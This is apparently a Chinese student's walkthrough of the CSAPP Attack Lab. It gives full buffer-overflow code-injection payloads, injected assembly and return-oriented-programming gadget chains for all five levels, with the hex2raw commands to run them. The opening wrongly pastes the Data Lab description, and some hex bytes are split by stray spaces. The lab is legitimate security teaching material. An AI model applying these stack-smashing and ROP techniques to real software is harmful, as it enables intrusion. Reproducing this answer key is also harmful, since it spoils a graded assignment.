官网 http://csapp.cs.cmu.edu/3e/labs.html
Students implement simple logical, two’s complement, and floating point functions, but using a highly restricted subset of C. For example, they might be asked to compute the absolute value of a number using only bit-level operations and straightline code. This lab helps students understand the bit-level representations of C data types and the bit-level behavior of the operations on data.
参考 深入理解计算机系统attack lab
CSAPP:Attack lab
Tips push:将数据压入栈中,具体操作是rsp先减,然后将数据压入sp所指的内存地址中。rsp寄存器总是指向栈顶,但不是空单元。
pop:将数据从栈中弹出,然后rsp加操作,确保rsp寄存器指向栈顶,不是空单元。
HEX2RAW HEX2RAW期望由一个或多个空格分隔的两位十六进制值。
所以如果你想创建一个十六进制值为0的字节,需要将其写为00。
要创建单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请注意,小字节序需要反转)。
实验目标
要求进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP)。
level1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 # touch1
buff-size为40字节,将其填满后注入touch1的开始地址
./hex2raw < attack1.txt > attackraw1.txt ./ctarget -qi attackraw1.txt
level2 Level2和Level1差别主要在Level2多了一个val参数,我们在跳转到Level2时,还要将其参数传递过去,让他认为是自己的cookie 0x59b997fa 。
将以下代码注入缓冲区。
mov $0x59b997fa ,%rdipushq $0x4017ec # 压栈,ret时会将0x4017ec弹出执行 ret
使用以下命令编译和反编译。
gcc -c attack2.s objdump -d attack2.o > attack2.d
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 以上包含注入代码填充满整个缓冲区(40字节)以致溢出。 78 dc 61 55 00 00 00 00 # 用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。
缓冲区地址为0x5561dca0(栈底),因为分配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78 。
level3 s的位置是随机的,所以之前留在getbuf中的数据,则有可能被hexmatch所重写,为了安全起见,我们把字符串放在getbuf的父栈帧中,也就是test栈帧中。
将字符串的地址传送到%rdi中,hexmatch函数需要的是cookie的字符串表示。因此,我们要将%rdi设置为cookie的地址即字符串表示。
0x59b997fa -> 35 39 62 39 39 37 66 61
mov $0x5561dca8 ,%rdipushq $0x4018fa retq
48 c7 c7 a8 dc 61 55 68 # 注入代码 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 用缓冲区的起始地址覆盖掉原先的返回地址(注意字节顺序)。 78 dc 61 55 00 00 00 00 # 地址0x5561dca0 35 39 62 39 39 37 66 61 # cookie的字符串表示,地址0x5561dca8 00 00 00 00
level4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2 b 40 00 00 00 00 00 # pop %rdi fa 97 b9 59 00 00 00 00 # cookie ec 17 40 00 00 00 00 00 # touch2
level5 方法一 将%rsp和偏移量分别存入 %rdi和%rsi,再使用lea指令。通过**%eax->%edx->%ecx->%esi**来完成。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 缓冲区 ad 1 a 40 00 00 00 00 00 # movq %rsp, %rax a2 19 40 00 00 00 00 00 # movq %rax, %rdi ab 19 40 00 00 00 00 00 # popq %rax 48 00 00 00 00 00 00 00 # 偏移值 dd 19 40 00 00 00 00 00 # mov %eax, %edx 34 1 a 40 00 00 00 00 00 # mov %edx, %ecx 13 1 a 40 00 00 00 00 00 # mov %ecx, %esi d6 19 40 00 00 00 00 00 # lea (%rsi, %rdi, 1) %rax #add操作 a2 19 40 00 00 00 00 00 # movq %rax, %rdi fa 18 40 00 00 00 00 00 # touch3 35 39 62 39 39 37 66 61 # cookie
执行movq %rsp, %rax的时候,%rsp先指向movq %rax, %rdi所在地址,然后再进入子函数执行指令。cookie和这个时候记录下来的%rsp地址的偏移就是48。某次调试记录的栈地址如下:
# 省略getbuf缓冲区 ad 1 a 40 00 00 00 00 00 # 0x7ffffffaa018 # movq %rsp, %rax a2 19 40 00 00 00 00 00 # 0x7ffffffaa020 # movq %rax, %rdi ab 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 # 0x7ffffffaa028 dd 19 40 00 00 00 00 00 34 1 a 40 00 00 00 00 00 13 1 a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 # 0x7ffffffaa050 a2 19 40 00 00 00 00 00 # 0x7ffffffaa058 fa 18 40 00 00 00 00 00 # 0x7ffffffaa060 35 39 62 39 39 37 66 61 # 0x7ffffffaa068 # cookie
说明movq %rsp,%rax指令存的是%rsp新值。
方法二 直接加偏移值 ,address is ox4019d8,execute a part of add_xy。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 缓冲区 06 1 a 40 00 00 00 00 00 # movq %rsp,%rax d8 19 40 00 00 00 00 00 # add 0x37,%al c5 19 40 00 00 00 00 00 # movq %rax,%rdi fa 18 40 00 00 00 00 00 # touch3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 # %rsp+37 cookie 39 62 39 39 37 66 61 00
某次调试显示的栈地址:
# 省略getbuf缓存区 06 1 a 40 00 00 00 00 00 # 0x7ffffffcd538 # movq %rsp,%rax d8 19 40 00 00 00 00 00 # 0x7ffffffcd540 c5 19 40 00 00 00 00 00 # 0x7ffffffcd548 fa 18 40 00 00 00 00 00 # 0x7ffffffcd550 00 00 00 00 00 00 00 00 # 0x7ffffffcd558 00 00 00 00 00 00 00 00 # 0x7ffffffcd560 00 00 00 00 00 00 00 00 # 0x7ffffffcd568 00 00 00 00 00 00 00 # 0x7ffffffcd56f 35 39 62 39 39 37 66 61 00 # 0x7ffffffcd577
说明movq %rsp,%rax指令存的是%rsp新值。